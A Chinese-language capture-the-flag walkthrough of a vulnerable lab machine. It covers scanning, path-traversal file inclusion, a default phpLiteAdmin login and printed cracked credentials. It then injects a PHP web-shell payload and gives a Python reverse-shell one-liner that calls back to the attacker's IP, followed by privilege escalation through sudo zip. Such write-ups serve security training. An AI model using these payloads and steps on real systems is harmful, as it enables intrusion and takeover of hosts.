1.信息收集-查看kali的ip地址
目标靶机与kali在同一网段,使用nmap对所在网段进行扫描,探测主机
判断192.168.115.212是靶机的ip,使用nmap对靶机进行端口扫描,可以看到开放了22(ssh),80(http)和111(rpcbind)端口。
访问靶机开放的网站
在对页面进行多次点击后,发现一处url如下,有可能存在文件包含
在地址栏将page的值改为../../../../../etc/passwd,页面展示了该文件的内容,说明确实存在文件包含漏洞
利用dirsearch工具扫描网站目录
扫描出来了一个貌似数据库管理页面/dbadmin,访问一下
是一个目录,有个test_db.php文件,点击访问
是phpLiteAdmin的登陆界面,百度下该管理系统的默认密码,查询到默认密码是“admin”,尝试登陆。
查询数据库内容,发现了root和zico的用户名和密码,密码格式为32位长度的16进制字符串,很明显是md5值,可以通过一个网站MD5尝试得到密码明文
root--------34kroot34
zico--------zico2215@
利用该账号密码尝试SSH远程登陆,全部失败
在kali查询phpLiteAdmin有没有可利用的漏洞,结果显示1.9.3版本存在远程php代码注入漏洞,下面进行漏洞利用
在刚才的phpLiteAdmin管理页面创建一个hack.php数据库,再在该数据库下创建一个名称为a的表,一个字段
字段名称为code,默认值为<?php phpinfo();?>
,插入一行内容
访问创建的数据库,页面成功显示phpinfo信息
2.WebShell
上一步成功显示了phpinfo信息说明漏洞可以利用,将刚才创建的表a删除,重新创建表b,字段名称为code,默认值为<?php echo system($_GET["pass"]);?>
使用kaili监听4444端口
使用python代码来反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
回到kali命令行,可以看到反弹shell成功,但此时并不是root权限,此时身份是www-data
当拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当想使用vim、top等命令时,webshell就无能为力了。我们可以通过python进入tty
python -c 'import pty;pty.spawn("/bin/bash")'
在zico的家目录中找到wordpress,这是一个免费开源的建站程序,进行该目录,查看wp-config.php
在该文件中找到了zico的数据库密码
切换到zico用户
3.提权
使用sudo -l查看zico用户在tar和zip的用户组里面,可以尝试zip提权
在/tmp目录下创建一个空文件,运行如下指令,通过zip运行Linux指令,获取root权限,在/root目录下成功获取到flag